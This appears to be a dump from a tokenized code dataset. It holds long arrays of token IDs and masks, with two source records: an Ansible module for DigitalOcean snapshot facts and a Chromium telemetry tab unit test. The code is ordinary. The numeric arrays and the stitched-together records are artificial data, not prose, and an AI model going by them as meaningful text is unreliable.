2526, 1108, 875, 30, 12310, 819, 511, 14, 1529, 63, 396, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
tedder/ansible
lib/ansible/modules/cloud/digital_ocean/digital_ocean_snapshot_facts.py
29
4965
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2018, Ansible Project # Copyright: (c) 2018, Abhijeet Kasurde <akasurde@redhat.com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { 'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = ''' --- module: digital_ocean_snapshot_facts short_description: Gather facts about DigitalOcean Snapshot description: - This module can be used to gather facts about snapshot facts based upon provided values such as droplet, volume and snapshot id. author: "Abhijeet Kasurde (@Akasurde)" version_added: "2.6" options: snapshot_type: description: - Specifies the type of snapshot facts to be retrived. - If set to C(droplet), then facts are gathered related to snapshots based on Droplets only. - If set to C(volume), then facts are gathered related to snapshots based on volumes only. - If set to C(by_id), then facts are gathered related to snapshots based on snapshot id only. - If not set to any of the above, then facts are gathered related to all snapshots. default: 'all' choices: [ 'all', 'droplet', 'volume', 'by_id'] required: false snapshot_id: description: - To retrieve information about a snapshot, please specify this as a snapshot id. - If set to actual snapshot id, then facts are gathered related to that particular snapshot only. - This is required parameter, if C(snapshot_type) is set to C(by_id). required: false requirements: - "python >= 2.6" extends_documentation_fragment: digital_ocean.documentation ''' EXAMPLES = ''' - name: Gather facts about all snapshots digital_ocean_snapshot_facts: snapshot_type: all oauth_token: "{{ oauth_token }}" - name: Gather facts about droplet snapshots digital_ocean_snapshot_facts: snapshot_type: droplet oauth_token: "{{ oauth_token }}" - name: Gather facts about volume snapshots digital_ocean_snapshot_facts: snapshot_type: volume oauth_token: "{{ oauth_token }}" - name: Gather facts about snapshot by snapshot id digital_ocean_snapshot_facts: snapshot_type: by_id snapshot_id: 123123123 oauth_token: "{{ oauth_token }}" - name: Get facts about snapshot named big-data-snapshot1 digital_ocean_snapshot_facts: register: resp_out - set_fact: snapshot_id: "{{ item.id }}" loop: "{{ resp_out.data|json_query(name) }}" vars: name: "[?name=='big-data-snapshot1']" - debug: var=snapshot_id ''' RETURN = ''' data: description: DigitalOcean snapshot facts returned: success type: list sample: [ { "id": "4f60fc64-85d1-11e6-a004-000f53315871", "name": "big-data-snapshot1", "regions": [ "nyc1" ], "created_at": "2016-09-28T23:14:30Z", "resource_id": "89bcc42f-85cf-11e6-a004-000f53315871", "resource_type": "volume", "min_disk_size": 10, "size_gigabytes": 0 }, ] ''' from traceback import format_exc from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.digital_ocean import DigitalOceanHelper from ansible.module_utils._text import to_native def core(module): snapshot_type = module.params['snapshot_type'] rest = DigitalOceanHelper(module) base_url = 'snapshots?' snapshot = [] if snapshot_type == 'by_id': base_url += "/{0}".format(module.params.get('snapshot_id')) response = rest.get(base_url) status_code = response.status_code if status_code != 200: module.fail_json(msg="Failed to fetch snapshot facts due to error : %s" % response.json['message']) snapshot.extend(response.json["snapshot"]) else: if snapshot_type == 'droplet': base_url += "resource_type=droplet&" elif snapshot_type == 'volume': base_url += "resource_type=volume&" snapshot = rest.get_paginated_data(base_url=base_url, data_key_name='snapshots') module.exit_json(changed=False, data=snapshot) def main(): argument_spec = DigitalOceanHelper.digital_ocean_argument_spec() argument_spec.update( snapshot_type=dict(type='str', required=False, choices=['all', 'droplet', 'volume', 'by_id'], default='all'), snapshot_id=dict(type='str', required=False), ) module = AnsibleModule( argument_spec=argument_spec, required_if=[ ['snapshot_type', 'by_id', ['snapshot_id']], ], ) try: core(module) except Exception as e: module.fail_json(msg=to_native(e), exception=format_exc()) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 26, 334, 67, 9, 14894, 12, 2622, 7290, 199, 3, 1898, 26, 334, 67, 9, 14894, 12, 8351, 5812, 6532, 386, 1804, 305, 300, 271, 665, 1151, 305, 300, 271, 32, 17164, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 469, 272, 283, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 272, 283, 1205, 356, 788, 7780, 995, 272, 283, 4946, 63, 991, 356, 283, 9387, 7, 199, 93, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 20545, 63, 31737, 63, 4753, 63, 5047, 199, 3612, 63, 1802, 26, 19634, 9036, 3595, 29979, 47, 20867, 23896, 199, 1802, 26, 272, 446, 961, 859, 883, 506, 1202, 370, 13082, 9036, 3595, 5740, 9036, 4079, 12188, 2741, 1338, 4066, 465, 5978, 2723, 12, 3301, 436, 5740, 1305, 14, 199, 2502, 26, 298, 5583, 5812, 6532, 386, 1804, 305, 300, 271, 8593, 33, 75, 305, 300, 271, 2924, 199, 1023, 63, 3270, 26, 298, 18, 14, 22, 2, 199, 1419, 26, 523, 5740, 63, 466, 26, 272, 1369, 26, 1362, 446, 11015, 314, 730, 402, 5740, 9036, 370, 506, 4444, 1354, 14, 1362, 446, 982, 663, 370, 445, 8, 4824, 2723, 395, 2066, 9036, 787, 16072, 31051, 4048, 370, 19076, 4079, 641, 18110, 16537, 1454, 14, 1362, 446, 982, 663, 370, 445, 8, 2405, 395, 2066, 9036, 787, 16072, 31051, 4048, 370, 19076, 4079, 641, 12158, 1454, 14, 1362, 446, 982, 663, 370, 445, 8, 991, 63, 344, 395, 2066, 9036, 787, 16072, 31051, 4048, 370, 19076, 4079, 641, 5740, 1305, 1454, 14, 1362, 446, 982, 440, 663, 370, 1263, 402, 314, 3432, 12, 2066, 9036, 787, 16072, 31051, 4048, 370, 1006, 19076, 14, 272, 849, 26, 283, 452, 7, 272, 3415, 26, 359, 283, 452, 297, 283, 4824, 2723, 297, 283, 2405, 297, 283, 991, 63, 344, 418, 272, 1415, 26, 3055, 523, 5740, 63, 344, 26, 272, 1369, 26, 1362, 446, 4005, 8044, 2556, 3595, 282, 5740, 12, 8749, 4165, 642, 465, 282, 5740, 1305, 14, 1362, 446, 982, 663, 370, 3503, 5740, 1305, 12, 2066, 9036, 787, 16072, 31051, 4048, 370, 626, 6770, 5740, 1454, 14, 1362, 446, 961, 365, 1415, 2725, 12, 340, 445, 8, 4753, 63, 466, 9, 365, 663, 370, 445, 8, 991, 63, 344, 680, 272, 1415, 26, 3055, 199, 7538, 26, 523, 446, 298, 1548, 2356, 499, 14, 22, 2, 199, 11036, 63, 9970, 63, 7677, 26, 20545, 63, 31737, 14, 9970, 199, 2344, 421, 199, 8918, 275, 1449, 199, 13, 536, 26, 19634, 9036, 3595, 1006, 19076, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 1006, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 19634, 9036, 3595, 5978, 2723, 19076, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 5978, 2723, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 19634, 9036, 3595, 3301, 19076, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 3301, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 19634, 9036, 3595, 5740, 701, 5740, 1305, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 701, 63, 344, 272, 5740, 63, 344, 26, 11869, 4288, 4288, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 2372, 9036, 3595, 5740, 4310, 7282, 13, 576, 13, 4753, 17, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 523, 2274, 26, 3085, 63, 548, 199, 13, 663, 63, 7783, 26, 272, 5740, 63, 344, 26, 7370, 1242, 14, 344, 7820, 523, 4438, 26, 7370, 3085, 63, 548, 14, 576, 92, 1001, 63, 1131, 8, 354, 9, 7820, 523, 6802, 26, 272, 536, 26, 7369, 31, 354, 6803, 5076, 13, 576, 13, 4753, 17, 18721, 199, 13, 3105, 26, 2729, 29, 4753, 63, 344, 199, 199, 2344, 421, 199, 9677, 275, 1449, 199, 576, 26, 272, 1369, 26, 29979, 47, 20867, 5740, 9036, 272, 2138, 26, 3182, 272, 730, 26, 769, 272, 2690, 26, 359, 267, 469, 288, 298, 344, 582, 298, 20, 70, 2259, 3003, 772, 13, 2426, 68, 17, 13, 845, 69, 22, 13, 65, 7979, 13, 1493, 70, 25293, 1046, 17369, 401, 288, 298, 354, 582, 298, 5076, 13, 576, 13, 4753, 17, 401, 288, 298, 11963, 582, 359, 355, 298, 9745, 67, 17, 2, 288, 2156, 288, 298, 3966, 63, 292, 582, 298, 9261, 13, 1643, 13, 1651, 52, 1789, 26, 1079, 26, 1216, 58, 401, 288, 298, 1927, 63, 344, 582, 298, 1407, 21976, 2260, 70, 13, 2426, 2177, 13, 845, 69, 22, 13, 65, 7979, 13, 1493, 70, 25293, 1046, 17369, 401, 288, 298, 1927, 63, 466, 582, 298, 2405, 401, 288, 298, 827, 63, 4032, 63, 890, 582, 1616, 12, 288, 298, 890, 63, 71, 528, 27601, 582, 378, 267, 1660, 272, 1622, 199, 2344, 199, 199, 504, 5190, 492, 1475, 63, 2804, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 25888, 63, 31737, 492, 29979, 47, 20867, 4433, 199, 504, 3242, 14, 578, 63, 1208, 423, 505, 492, 370, 63, 6106, 421, 199, 318, 6170, 8, 578, 304, 272, 5740, 63, 466, 275, 859, 14, 1162, 459, 4753, 63, 466, 418, 339, 4618, 275, 29979, 47, 20867, 4433, 8, 578, 9, 339, 1300, 63, 633, 275, 283, 15331, 14069, 272, 5740, 275, 942, 339, 340, 5740, 63, 466, 508, 283, 991, 63, 344, 356, 267, 1300, 63, 633, 847, 3286, 91, 16, 5469, 908, 8, 578, 14, 1162, 14, 362, 360, 4753, 63, 344, 1333, 267, 1177, 275, 4618, 14, 362, 8, 1095, 63, 633 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 1898, 26, 334, 67, 9, 14894, 12, 2622, 7290, 199, 3, 1898, 26, 334, 67, 9, 14894, 12, 8351, 5812, 6532, 386, 1804, 305, 300, 271, 665, 1151, 305, 300, 271, 32, 17164, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 469, 272, 283, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 272, 283, 1205, 356, 788, 7780, 995, 272, 283, 4946, 63, 991, 356, 283, 9387, 7, 199, 93, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 20545, 63, 31737, 63, 4753, 63, 5047, 199, 3612, 63, 1802, 26, 19634, 9036, 3595, 29979, 47, 20867, 23896, 199, 1802, 26, 272, 446, 961, 859, 883, 506, 1202, 370, 13082, 9036, 3595, 5740, 9036, 4079, 12188, 2741, 1338, 4066, 465, 5978, 2723, 12, 3301, 436, 5740, 1305, 14, 199, 2502, 26, 298, 5583, 5812, 6532, 386, 1804, 305, 300, 271, 8593, 33, 75, 305, 300, 271, 2924, 199, 1023, 63, 3270, 26, 298, 18, 14, 22, 2, 199, 1419, 26, 523, 5740, 63, 466, 26, 272, 1369, 26, 1362, 446, 11015, 314, 730, 402, 5740, 9036, 370, 506, 4444, 1354, 14, 1362, 446, 982, 663, 370, 445, 8, 4824, 2723, 395, 2066, 9036, 787, 16072, 31051, 4048, 370, 19076, 4079, 641, 18110, 16537, 1454, 14, 1362, 446, 982, 663, 370, 445, 8, 2405, 395, 2066, 9036, 787, 16072, 31051, 4048, 370, 19076, 4079, 641, 12158, 1454, 14, 1362, 446, 982, 663, 370, 445, 8, 991, 63, 344, 395, 2066, 9036, 787, 16072, 31051, 4048, 370, 19076, 4079, 641, 5740, 1305, 1454, 14, 1362, 446, 982, 440, 663, 370, 1263, 402, 314, 3432, 12, 2066, 9036, 787, 16072, 31051, 4048, 370, 1006, 19076, 14, 272, 849, 26, 283, 452, 7, 272, 3415, 26, 359, 283, 452, 297, 283, 4824, 2723, 297, 283, 2405, 297, 283, 991, 63, 344, 418, 272, 1415, 26, 3055, 523, 5740, 63, 344, 26, 272, 1369, 26, 1362, 446, 4005, 8044, 2556, 3595, 282, 5740, 12, 8749, 4165, 642, 465, 282, 5740, 1305, 14, 1362, 446, 982, 663, 370, 3503, 5740, 1305, 12, 2066, 9036, 787, 16072, 31051, 4048, 370, 626, 6770, 5740, 1454, 14, 1362, 446, 961, 365, 1415, 2725, 12, 340, 445, 8, 4753, 63, 466, 9, 365, 663, 370, 445, 8, 991, 63, 344, 680, 272, 1415, 26, 3055, 199, 7538, 26, 523, 446, 298, 1548, 2356, 499, 14, 22, 2, 199, 11036, 63, 9970, 63, 7677, 26, 20545, 63, 31737, 14, 9970, 199, 2344, 421, 199, 8918, 275, 1449, 199, 13, 536, 26, 19634, 9036, 3595, 1006, 19076, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 1006, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 19634, 9036, 3595, 5978, 2723, 19076, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 5978, 2723, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 19634, 9036, 3595, 3301, 19076, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 3301, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 19634, 9036, 3595, 5740, 701, 5740, 1305, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 272, 5740, 63, 466, 26, 701, 63, 344, 272, 5740, 63, 344, 26, 11869, 4288, 4288, 272, 9725, 63, 1418, 26, 7370, 9725, 63, 1418, 7820, 199, 199, 13, 536, 26, 2372, 9036, 3595, 5740, 4310, 7282, 13, 576, 13, 4753, 17, 523, 20545, 63, 31737, 63, 4753, 63, 5047, 26, 523, 2274, 26, 3085, 63, 548, 199, 13, 663, 63, 7783, 26, 272, 5740, 63, 344, 26, 7370, 1242, 14, 344, 7820, 523, 4438, 26, 7370, 3085, 63, 548, 14, 576, 92, 1001, 63, 1131, 8, 354, 9, 7820, 523, 6802, 26, 272, 536, 26, 7369, 31, 354, 6803, 5076, 13, 576, 13, 4753, 17, 18721, 199, 13, 3105, 26, 2729, 29, 4753, 63, 344, 199, 199, 2344, 421, 199, 9677, 275, 1449, 199, 576, 26, 272, 1369, 26, 29979, 47, 20867, 5740, 9036, 272, 2138, 26, 3182, 272, 730, 26, 769, 272, 2690, 26, 359, 267, 469, 288, 298, 344, 582, 298, 20, 70, 2259, 3003, 772, 13, 2426, 68, 17, 13, 845, 69, 22, 13, 65, 7979, 13, 1493, 70, 25293, 1046, 17369, 401, 288, 298, 354, 582, 298, 5076, 13, 576, 13, 4753, 17, 401, 288, 298, 11963, 582, 359, 355, 298, 9745, 67, 17, 2, 288, 2156, 288, 298, 3966, 63, 292, 582, 298, 9261, 13, 1643, 13, 1651, 52, 1789, 26, 1079, 26, 1216, 58, 401, 288, 298, 1927, 63, 344, 582, 298, 1407, 21976, 2260, 70, 13, 2426, 2177, 13, 845, 69, 22, 13, 65, 7979, 13, 1493, 70, 25293, 1046, 17369, 401, 288, 298, 1927, 63, 466, 582, 298, 2405, 401, 288, 298, 827, 63, 4032, 63, 890, 582, 1616, 12, 288, 298, 890, 63, 71, 528, 27601, 582, 378, 267, 1660, 272, 1622, 199, 2344, 199, 199, 504, 5190, 492, 1475, 63, 2804, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 25888, 63, 31737, 492, 29979, 47, 20867, 4433, 199, 504, 3242, 14, 578, 63, 1208, 423, 505, 492, 370, 63, 6106, 421, 199, 318, 6170, 8, 578, 304, 272, 5740, 63, 466, 275, 859, 14, 1162, 459, 4753, 63, 466, 418, 339, 4618, 275, 29979, 47, 20867, 4433, 8, 578, 9, 339, 1300, 63, 633, 275, 283, 15331, 14069, 272, 5740, 275, 942, 339, 340, 5740, 63, 466, 508, 283, 991, 63, 344, 356, 267, 1300, 63, 633, 847, 3286, 91, 16, 5469, 908, 8, 578, 14, 1162, 14, 362, 360, 4753, 63, 344, 1333, 267, 1177, 275, 4618, 14, 362, 8, 1095, 63, 633, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ROMFactory/android_external_chromium_org
tools/telemetry/telemetry/core/tab_unittest.py
23
3350
# Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import logging import os import time from telemetry.core import util from telemetry.core import exceptions from telemetry.unittest import tab_test_case def _IsDocumentVisible(tab): state = tab.EvaluateJavaScript('document.webkitVisibilityState') # TODO(dtu): Remove when crbug.com/166243 is fixed. tab.Disconnect() return state == 'visible' class TabTest(tab_test_case.TabTestCase): def testNavigateAndWaitToForCompleteState(self): unittest_data_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'unittest_data') self._browser.SetHTTPServerDirectories(unittest_data_dir) self._tab.Navigate(self._browser.http_server.UrlOf('blank.html')) self._tab.WaitForDocumentReadyStateToBeComplete() def testNavigateAndWaitToForInteractiveState(self): unittest_data_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'unittest_data') self._browser.SetHTTPServerDirectories(unittest_data_dir) self._tab.Navigate(self._browser.http_server.UrlOf('blank.html')) self._tab.WaitForDocumentReadyStateToBeInteractiveOrBetter() def testTabBrowserIsRightBrowser(self): self.assertEquals(self._tab.browser, self._browser) def testRendererCrash(self): self.assertRaises(exceptions.TabCrashException, lambda: self._tab.Navigate('chrome://crash', timeout=5)) def testActivateTab(self): if not self._browser.supports_tab_control: logging.warning('Browser does not support tab control, skipping test.') return self.assertTrue(_IsDocumentVisible(self._tab)) new_tab = self._browser.tabs.New() util.WaitFor(lambda: _IsDocumentVisible(new_tab), timeout=5) self.assertFalse(_IsDocumentVisible(self._tab)) self._tab.Activate() util.WaitFor(lambda: _IsDocumentVisible(self._tab), timeout=5) self.assertFalse(_IsDocumentVisible(new_tab)) class GpuTabTest(tab_test_case.TabTestCase): def setUp(self): self._extra_browser_args = ['--enable-gpu-benchmarking'] super(GpuTabTest, self).setUp() def testScreenshot(self): if not self._tab.screenshot_supported: logging.warning('Browser does not support screenshots, skipping test.') return unittest_data_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'unittest_data') self._browser.SetHTTPServerDirectories(unittest_data_dir) self._tab.Navigate( self._browser.http_server.UrlOf('green_rect.html')) self._tab.WaitForDocumentReadyStateToBeComplete() pixel_ratio = self._tab.EvaluateJavaScript('window.devicePixelRatio || 1') # TODO(bajones): Sleep for a bit to counter BUG 260878. time.sleep(0.5) screenshot = self._tab.Screenshot(5) assert screenshot screenshot.GetPixelColor(0 * pixel_ratio, 0 * pixel_ratio).AssertIsRGB( 0, 255, 0, tolerance=2) screenshot.GetPixelColor(31 * pixel_ratio, 31 * pixel_ratio).AssertIsRGB( 0, 255, 0, tolerance=2) screenshot.GetPixelColor(32 * pixel_ratio, 32 * pixel_ratio).AssertIsRGB( 255, 255, 255, tolerance=2)
bsd-3-clause
[ 3, 1898, 334, 67, 9, 6029, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 646, 2050, 199, 646, 747, 199, 646, 900, 199, 199, 504, 17298, 14, 1018, 492, 4884, 199, 504, 17298, 14, 1018, 492, 4967, 199, 504, 17298, 14, 2796, 492, 5174, 63, 396, 63, 2546, 421, 199, 318, 485, 1831, 5564, 14917, 8, 2902, 304, 523, 1174, 275, 5174, 14, 25002, 21986, 360, 3554, 14, 12554, 24735, 2223, 358, 523, 327, 3254, 8, 3583, 85, 304, 5852, 1380, 2467, 1266, 14, 957, 15, 10642, 13440, 365, 6317, 14, 523, 5174, 14, 16761, 342, 523, 372, 1174, 508, 283, 6604, 7, 421, 199, 533, 23159, 774, 8, 2902, 63, 396, 63, 2546, 14, 7690, 1746, 304, 523, 347, 511, 31914, 3325, 7536, 1378, 1858, 14175, 2223, 8, 277, 304, 272, 2882, 63, 576, 63, 694, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 3660, 19155, 19155, 283, 2796, 63, 576, 358, 272, 291, 423, 5750, 14, 1084, 14938, 13752, 8, 2796, 63, 576, 63, 694, 9, 272, 291, 423, 2902, 14, 31914, 8, 277, 423, 5750, 14, 1014, 63, 1000, 14, 6417, 3466, 360, 2500, 14, 1360, 1333, 272, 291, 423, 2902, 14, 21433, 5564, 17960, 2223, 1378, 3655, 14175, 342, 819, 347, 511, 31914, 3325, 7536, 1378, 1858, 23879, 2223, 8, 277, 304, 272, 2882, 63, 576, 63, 694, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 3660, 19155, 19155, 283, 2796, 63, 576, 358, 272, 291, 423, 5750, 14, 1084, 14938, 13752, 8, 2796, 63, 576, 63, 694, 9, 272, 291, 423, 2902, 14, 31914, 8, 277, 423, 5750, 14, 1014, 63, 1000, 14, 6417, 3466, 360, 2500, 14, 1360, 1333, 272, 291, 423, 2902, 14, 21433, 5564, 17960, 2223, 1378, 3655, 23879, 2844, 24472, 351, 342, 819, 347, 511, 7690, 11930, 1831, 9121, 11930, 8, 277, 304, 272, 291, 14, 2947, 8, 277, 423, 2902, 14, 5750, 12, 291, 423, 5750, 9, 819, 347, 511, 11355, 17345, 1119, 8, 277, 304, 272, 291, 14, 1855, 8, 3924, 14, 7690, 17345, 1119, 1726, 12, 1993, 2400, 26, 291, 423, 2902, 14, 31914, 360, 9887, 921, 14807, 297, 1740, 2653, 29, 21, 430, 819, 347, 511, 30120, 7690, 8, 277, 304, 272, 340, 440, 291, 423, 5750, 14, 9823, 63, 2902, 63, 2785, 26, 489, 2050, 14, 3764, 360, 11930, 1630, 440, 2291, 5174, 3304, 12, 16068, 511, 2659, 489, 372, 339, 291, 14, 1815, 1547, 1831, 5564, 14917, 8, 277, 423, 2902, 430, 272, 892, 63, 2902, 275, 291, 423, 5750, 14, 8741, 14, 4665, 342, 272, 4884, 14, 21433, 8, 2734, 26, 485, 1831, 5564, 14917, 8, 1222, 63, 2902, 395, 2653, 29, 21, 9, 272, 291, 14, 3334, 1547, 1831, 5564, 14917, 8, 277, 423, 2902, 430, 272, 291, 423, 2902, 14, 30120, 342, 272, 4884, 14, 21433, 8, 2734, 26, 485, 1831, 5564, 14917, 8, 277, 423, 2902, 395, 2653, 29, 21, 9, 272, 291, 14, 3334, 1547, 1831, 5564, 14917, 8, 1222, 63, 2902, 430, 421, 199, 533, 598, 3165, 7690, 774, 8, 2902, 63, 396, 63, 2546, 14, 7690, 1746, 304, 523, 347, 3613, 8, 277, 304, 272, 291, 423, 2911, 63, 5750, 63, 589, 275, 14574, 4296, 13, 6477, 13, 11861, 316, 418, 272, 1613, 8, 39, 3165, 7690, 774, 12, 291, 680, 5996, 342, 819, 347, 511, 9616, 2782, 8, 277, 304, 272, 340, 440, 291, 423, 2902, 14, 23269, 63, 4946, 26, 489, 2050, 14, 3764, 360, 11930, 1630, 440, 2291, 27981, 83, 12, 16068, 511, 2659, 489, 372, 339, 2882, 63, 576, 63, 694, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 3660, 19155, 19155, 283, 2796, 63, 576, 358, 272, 291, 423, 5750, 14, 1084, 14938, 13752, 8, 2796, 63, 576, 63, 694, 9, 272, 291, 423, 2902, 14, 31914, 8, 489, 291, 